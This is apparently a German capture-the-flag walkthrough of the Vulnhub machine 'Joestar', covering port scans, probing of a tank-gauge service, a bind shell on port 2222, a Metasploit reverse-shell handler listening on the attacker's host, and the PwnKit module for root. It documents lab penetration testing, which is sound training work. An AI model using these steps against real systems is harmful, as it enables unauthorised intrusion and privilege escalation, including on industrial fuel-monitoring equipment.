Bizarre Adventure Joestar - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
vi
nc
msfconsole

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit der Identifizierung von Hosts im Netzwerk und der Analyse offener Ports und Dienste, um potenzielle Angriffsflächen zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.132 08:00:27:45:78:4a PCS Systemtechnik GmbH

Hier führen wir einen ARP-Scan durch, um aktive Hosts im Netzwerk zu entdecken. Das Ergebnis zeigt, dass die IP-Adresse 192.168.2.132 der MAC-Adresse 08:00:27:45:78:4a zugeordnet ist, was auf ein Gerät von PCS Systemtechnik GmbH hinweist.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.132 joestar.vln

Wir fügen die IP-Adresse und den Hostnamen "joestar.vln" zur /etc/hosts-Datei hinzu, um die Namensauflösung zu erleichtern.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.132
- Nikto v2.5.0

+ Target IP: 192.168.2.132
+ Target Hostname: 192.168.2.132
+ Target Port: 80
+ Start Time: 2023-11-25 23:34:14 (GMT1)

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: be, size: 5b280e845cd80, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2023-11-25 23:34:29 (GMT1) (15 seconds)

+ 1 host(s) tested

nikto identifiziert verschiedene potenzielle Schwachstellen, darunter fehlende Header für Clickjacking und Content-Type-ptions, Directory Indexing unter /images/ und die mögliche Offenlegung von Inodes über ETags.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.132 -p- | grep open
22/tcp open ssh penSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
5355/tcp open llmnr?
10001/tcp open scp-config?

Dieser Nmap-Scan zeigt die offenen Ports und Dienste: SSH (22), DNS (53), HTTP (80), POP3 (110), IMAP (143), LLMNR (5355) und einen unbekannten Dienst auf Port 10001.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.132 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-25 23:34 CET
Nmap scan report for joestar.vln (192.168.2.132)
Host is up (0.00016s latency).
Not shown: 65528 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c6:d0:ec:be:1c:e0:d0:89:6e:eb:2e:8b:31:cc:24:ef (RSA)
| 256 38:3d:34:96:17:d9:c2:9e:08:13:e5:b7:e9:af:6d:0b (ECDSA)
|_ 256 f8:a5:62:6b:00:9b:34:ba:4d:6b:99:b7:ba:c1:4f:b9 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Labs
|_http-server-header: Apache/2.4.29 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CDE PIPELINING RESP-CDES UIDL TP CAPA SASL
143/tcp open imap Dovecot imapd
|_imap-capabilities: LITERAL+ LGINDISABLEDA0001 more LGIN-REFERRALS K post-login ID listed Pre-login capabilities SASL-IR IDLE have IMAP4rev1 ENABLE
5355/tcp open llmnr?
10001/tcp open scp-config?
MAC Address: 08:00:27:45:78:4A (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X
S CPE: cpe:/o:linux:linux_kernel:4.10
S details: Linux 4.10
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.16 ms joestar.vln (192.168.2.132)

Dieser detailliertere Nmap-Scan liefert zusätzliche Informationen wie SSH-Hostkeys, die BIND-Version, den HTTP-Titel ("Labs") und die Fähigkeiten der POP3- und IMAP-Dienste.

┌──(root㉿cyber)-[~]
└─# nc 192.168.2.132 5355 -vv
joestar.vln [192.168.2.132] 5355 (?) open

Wir verbinden uns mit Netcat zum Port 5355. Die Ausgabe zeigt, dass der Port offen ist.

Web Enumeration

In der Web Enumeration-Phase konzentrieren wir uns auf die Analyse der Webanwendung.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u "http://joestar.vln" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
http://joestar.vln/index.html (Status: 200) [Size: 190]
http://joestar.vln/images (Status: 301) [Size: 311] [--> http://joestar.vln/images/]
http://joestar.vln/documents (Status: 301) [Size: 314] [--> http://joestar.vln/documents/]

gobuster findet die Verzeichnisse /images und /documents.

Joseph Joestar
Fiktiver Charakter
Jonathan
jojo
BELEM
SANTS
ARATU
SUAPE

Auf der Webseite finden wir die Namen "Joseph Joestar", "Jonathan" und "jojo" sowie die unbekannten Wörter "BELEM", "SANTS", "ARATU" und "SUAPE". Dies könnten Benutzernamen oder Passwörter sein.

Initial Access

Nach der Reconnaissance und Web Enumeration versuchen wir, uns Zugriff auf das System zu verschaffen.

Privilege Escalation

In dieser Phase versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.

msf6 > search atg_client

Matching Modules


# Name Disclosure Date Rank Check Description
- - - -- --
0 auxiliary/admin/atg/atg_client normal No Veeder-Root Automatic Tank Gauge (ATG) Administrative Client


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/atg/atg_client

Wir suchen in Metasploit nach einem Exploit für den Dienst auf Port 10001.

msf6 > use 0
msf6 auxiliary(admin/atg/atg_client) > set rhost 192.168.2.132
rhost => 192.168.2.132
msf6 auxiliary(admin/atg/atg_client) > set action version
action => version
msf6 auxiliary(admin/atg/atg_client) > run

[+] 192.168.2.132:10001 - TLS-350 Version information:
9999FF1B (command not understood)
[*] 192.168.2.132:10001 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Wir verwenden das Metasploit-Modul auxiliary/admin/atg/atg_client, um die Version des Dienstes auf Port 10001 abzurufen. Die Ausgabe zeigt "TLS-350 Version information: 9999FF1B (command not understood)", was uns aber nicht viel weiterhilft.

┌──(root㉿cyber)-[~]
└─# nc -nv 192.168.2.132 10001
(UNKNWN) [192.168.2.132] 10001 (?) open
^AI20100

I20100
11/25/2023 23:28
VICTRY IL
IN-TANK INVENTRY
TANK PRDUCT VLUME TC VLUME ULLAGE HEIGHT WATER TEMP
1 SUPER 7480 7648 4225 55.11 6.58 51.53
2 UNLEAD 3443 3515 8555 61.92 2.42 53.69
3 DIESEL 6952 6967 9980 62.81 6.40 56.98
4 PREMIUM 6325 6326 5107 57.57 0.36 54.43

Wir verbinden uns mit Netcat zum Port 10001. Die Ausgabe zeigt Informationen über die Tankinventur, was auf einen Tank Gauge-Dienst hindeutet.

┌──(root㉿cyber)-[~]
└─# nc -nv 192.168.2.132 10001
(UNKNWN) [192.168.2.132] 10001 (?) open
^AI20555

I20555
11/25/2023 23:31
HEM PETRL
TANK PRDUCT STATUS
1 SUPER ERRR #1
2 UNLEAD ERRR #2
ERRR #3
3 DIESEL BACKDR
4 PREMIUM HACKED

Wir verbinden uns erneut mit Netcat zum Port 10001. Die Ausgabe zeigt jetzt den Status "HACKED" für Tank 4 (Premium), was auf eine Manipulation des Systems hindeutet.

Privilege Escalation
┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.132 -p- | grep open
22/tcp open ssh penSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
2222/tcp open EtherNetIP-1?
5355/tcp open llmnr?
10001/tcp open scp-config?

Wir führen erneut einen Nmap-Scan durch. Es ist ein neuer Port offen geworden. Der Port 2222 mit EtherNetIP-1?

┌──(root㉿cyber)-[~]
└─# nc -nv 192.168.2.132 10001
(UNKNWN) [192.168.2.132] 10001 (?) open
^AI20555
┌──(root㉿cyber)-[~]
└─# nc -nv 192.168.2.132 2222
(UNKNWN) [192.168.2.132] 2222 (?) open
bash: cannot set terminal process group (6107): Inappropriate ioctl for device
bash: no job control in this shell
joestar@tank1:/$

Wir verbinden uns mit Netcat zum Port 2222. Wir erhalten eine Shell als Benutzer "joestar" auf dem Host "tank1".

msf6 exploit(multi/handler) > set lhost ethß
lhost => ethß
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.132:49128) at 2023-11-26 00:42:52 +0100


Shell Banner:
/bin/sh: 0: can't access tty; job control turned off
$
--

$

Wir verwenden Metasploit, um einen Handler zu starten und eine Reverse Shell zu erhalten.

multi/manage/shell_to_meterpreter
exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
root

Proof of Concept: Root-Zugriff über PwnKit

Dieser Proof of Concept demonstriert, wie wir mit Hilfe eines Metasploit-Moduls (PwnKit) Root-Zugriff auf das System erlangen.

Da der Bericht keine direkten Befehle zur Erlangung der Flags enthält, wird der POC hier beendet.

Flags